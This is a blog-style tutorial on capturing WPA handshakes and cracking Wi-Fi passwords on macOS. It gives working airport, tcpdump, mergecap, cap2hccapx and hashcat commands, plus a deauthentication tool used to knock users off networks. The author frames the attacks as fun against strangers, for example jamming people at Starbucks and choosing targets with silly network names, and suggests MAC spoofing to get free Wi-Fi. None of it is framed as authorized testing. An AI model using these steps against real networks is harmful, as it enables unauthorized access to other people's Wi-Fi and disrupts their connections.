Capturing and Cracking WPA on macOS


Capturing & Cracking WPA on macOS? maybe I just use the excellent VirtualBox images of Kali Linux from Offensive Security and aircrack-ng.

but I just forgotten that:

  • Using advanced wireless features is impossible from a virtual machine
  • Even if he used Kali Linux with a dual boot, installing the wireless drivers to make it work with the airport card is tiresome.
  • Most (not airmon-ng) aircrack-ng tools can be installed on macOS with MacPorts, but airodump-ng and aireplay-ng crash.

So PLEASE, if you want to do other advanced networking things than network sniffing or what is described in this article, do yourself a favour and buy an USB adapter to use with the virtual machine.

There is a list on the website of aircrack-ng, and I think the Alfa AWUS051NH v2 is great. Some people say it is expensive, but last time I checked on Google Shopping, it cost less than half an Apple mouse.

What is a WPA attack?

There are 3 steps:

  • Identify the acces point: name (= SSID), MAC address (= BSSID) and channel (~ radio frequency)
  • Sniff the channel in monitor mode to retrieve:
    • a beacon (easy)
    • a handshake (= four-way handshake), or some frames of it (hard)
  • Crack the password using the dump

What makes the retrieval of the handshake hard is that it appears only when somebody connects to the access point.

The good news is that you can deauthentificate people from the wifi network – it’s called wifi jamming and it’s useful to impress a girl and piss off people at Starbucks. When they reconnect, they re-send the handshake. That adds a Deauth step.

Identify the target – with airport

“Link executable to the binary environment”

sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport

Scan

sudo airport -s

Sniff – The easy way with airport

// Ctrl-C to stop capturing
sudo airport en1 sniff [CHANNEL]

It saves the .cap capture file and displays the path.

Crack – The easy way with aircrack-ng

aircrack-ng -w wordlist.txt -b [TARGET_MAC_ADDRESS] airportSniff.cap

If you don’t have the beacon or the handshake, it will fail accordingly.

For wordlists, see below.

Deauth

As I said, aireplay-ng doesn’t work on a MacBook Pro. The catch is that aireplay-ng can do a lot of other things besides deauth attacks.

You might read that airport cards do not support packet injection, but packet injections are for WEP attacks and nobody uses WEP anymore. We only want to send some deauthentification frames.

Use JamWiFi. A ready-to-use application is provided there.

In fact, you can indentify the target with it too, and it has a really nice GUI.

Once you have selected the access point, you can deauth one or multiple users. Stop after about 50 “Deauths”, or else the persons might have trouble to reconnect during several minutes.

It might not work it you are too far from the target as your airport card is far less powerful than the router.

Sniff – The good way with tcpdump

Using airport presents some issues. You cannot know if you got the beacon and the handshake until you stop the capture and try with aircrack-ng.

You capture a lot of unuseful packets too.

Using tcpdump is more efficient.

export BSSID=[TARGET_MAC_ADDRESS]
# disassociate
sudo airport -z
# set the channel
# DO NOT PUT SPACE BETWEEN -c and the channel
# for example sudo airport -c6
sudo airport -c[CHANNEL]
# capture a beacon frame from the AP
sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i en1 -w beacon.cap
# wait for the WPA handshake
sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i en1 -w handshake.cap
# merge the two files
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap

When you launch those lines, the first tcpdump easily captures a beacon and the second waits for the handshake.

Use JamWiFi to deauth some users, and when tcpdump shows you it got 4 frames or more, Ctrl-C. It appears you can use less that 4 frames, but it depends on the frames you got (for instance 1,2 or 2,3 are sufficient). Anyway you should normally get at least 4. If nothing shows, try to deauth another user.

Now you have everything in capture.cap. You can also run aircrack-ng on it.

Crack – The good way with hashcat

Like aireplay-ng, aircrack-ng offers so many features that it cannot be the best in everything.

We can really speed up the process by using hashcat.

Install with brew

brew install hashcat

Convert with cap2hccapx

hashcat doesn’t take cap files, only hccapx files.

Just install hashcat-utils and use cap2hccapx

cap2hccapx capture.cap capture.hccapx

Alternatively, use this online tool.

Crack

This page gives some examples.

To use with a dictionnary:

hashcat -m 2500 capture.hccapx wordlist.txt

You have a lot of other options, like the brute force:

hashcat -m 2500 -a3 capture.hccapx ?d?d?d?d?d?d?d?d

Refer to the documentation fot more patterns.

Speed

hashcat works on the GPU.

On my MacBook Pro, it yields a performance of 5kH/s: it tests 5000 passwords in a second.

On a Tesla K20m, the speed is 75kH/s. I managed to crack the 5 last lowercase letters of a wifi password in about 1 minute (26**5 // 75000 = 158 seconds to test them all).

We can see here that a GTX 1080 breaks 400kH/s.

Wordlists

I recommend:

For more efficiency, target the networks with silly names (good examples are “mozart”, “I love cats”, “Harry and Sally”), and avoid the ones called “National Security Agency”, “sysadmin” and “sup3r h4x0r”.

Conclusion

To find a password, you have to be lucky and have a good idea of its shape. A lot of default wifi passwords are composed of 8 or 10 hexadecimal digits. In average (worst case divided by 2) and according to the above benchmark, with a GTX 1080:

  • 8 hexadecimal characters take 90 minutes.
  • 10 hexadecimal characters take 16 days.
  • 12 hexadecimal characters take 11 years.

If you only want free wifi, just do MAC spoofing on a hotspot that uses web login.

References

http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html
https://gist.github.com/victorreyesh/6532800
https://github.com/brannondorsey/wifi-cracking
https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2
https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html